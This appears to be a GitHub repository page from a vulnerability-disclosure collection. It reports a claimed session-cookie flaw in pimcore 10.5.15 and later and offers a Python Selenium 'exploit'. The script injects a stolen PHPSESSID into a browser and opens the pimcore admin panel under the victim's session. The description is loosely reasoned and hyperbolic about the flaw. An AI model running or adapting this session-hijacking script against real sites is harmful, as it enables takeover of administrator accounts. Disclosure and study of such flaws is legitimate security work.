Skip to content
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
CVE-nu11secur1ty/vendors/pimcore/pimCore-10.5.15/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
 
 

pimcore-10.5.15-Sensitive-Cookie-SameSite-Attribute-vulnerability

Vendor

Description:

The pimCore-10.5.15 suffers from Sensitive Cookies with Improper SameSite Attribute vulnerability - PHPSESSID cookie Session management connection requests are not sanitizing correctly - same session on a couple of computers with different IP's from one network. There are no securing changes in PHPSESSID cookies for every request - validating sessions and changing a cookie for every connection - POST Request. The attacker in the same network can trick the user - the administrator of this system and can steal his cookie, then he can make very evil things by using the same session from the name of the already authenticated user - administrator, on a couple of PCs with different IPs which are used from different machines into that network. When the attacker steals the cookie, he can manipulate the same session, for example, he can log out or do very malicious stuff. This is a very stupid developer's error, and this can be very dangerous for the owner of the system. The attack is possible also in the external network!

Affected versions:

10.5.15
10.5.16

10.5.20 - latest

STATUS: HIGH Vulnerability

[+] Exploit:

#!/usr/bin/python
# @nu11secur1ty
import time
from selenium import webdriver
import colorama
from colorama import Fore, Back, Style

driver = webdriver.Chrome()
print(Fore.BLUE + "Give the PHPSESSID...\n")
print(Style.RESET_ALL)
cookie = input()

driver.maximize_window()
driver.get("https://demo.pimcore.fun/admin/?_dc=1675086863&perspective=")
driver.add_cookie({'name': 'PHPSESSID', 'value': cookie})

print(driver.get_cookie('PHPSESSID'))
driver.get("https://demo.pimcore.fun/admin/?_dc=1675086863&perspective=")

time.sleep(3)

print(Fore.RED + "Your PHPSESSID is PWNED! Please press any key to close the exploit...")
print(Style.RESET_ALL)
input()
quit()

Reproduce:

href

Reference:

href

href

Proof and Exploit:

href

Time spent

00:15:00

Writing an exploit

00:07:00